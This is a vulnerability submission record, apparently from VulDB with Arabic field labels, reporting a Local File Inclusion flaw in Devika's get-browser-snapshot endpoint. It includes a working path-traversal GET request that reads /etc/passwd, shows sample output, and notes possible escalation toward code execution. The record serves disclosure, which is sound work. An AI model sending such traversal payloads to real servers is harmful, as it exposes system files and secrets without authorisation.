| عنوان | Devika latest Local File Inclusion |
|---|
| الوصف | The function `browser_snapshot` is vulnerable to **Local File Inclusion (LFI)** due to improper input validation on the `snapshot_path` parameter. An attacker can exploit this vulnerability to read arbitrary files from the server by sending a crafted HTTP GET request to the `/api/get-browser-snapshot` endpoint.
### Exploitation Steps
1. **Request**: An attacker sends a GET request to the vulnerable endpoint with the `snapshot_path` parameter set to a file path on the server.
**Example Request:**
```vbnet
GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1
Host: vulnerable-app.com
```
2. **Response**: The server responds with the contents of the specified file, potentially leaking sensitive data.
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
```
POC
### Impact
- **Information Disclosure**: An attacker can read sensitive system files like `/etc/passwd`, application configuration files, or other resources on the server, leading to **data leakage**.
- **Further Exploitation**: This can be used as a precursor for remote code execution (RCE) by including files containing sensitive environment variables or application secrets. |
|---|
| المصدر | ⚠️ https://torada.notion.site/Vulnerability-Report-Local-File-Inclusion-LFI-10de10af6a668056a532e55b4598ec36?pvs=4 |
|---|
| المستخدم | torada (UID 61170) |
|---|
| ارسال | 26/09/2024 11:58 PM (2 سنوات منذ) |
|---|
| الاعتدال | 06/10/2024 11:58 AM (9 days later) |
|---|
| الحالة | مكرر |
|---|
| إدخال VulDB | 272383 [stitionai devika get-browser-snapshot snapshot_path اجتياز الدليل] |
|---|
| النقاط | 0 |
|---|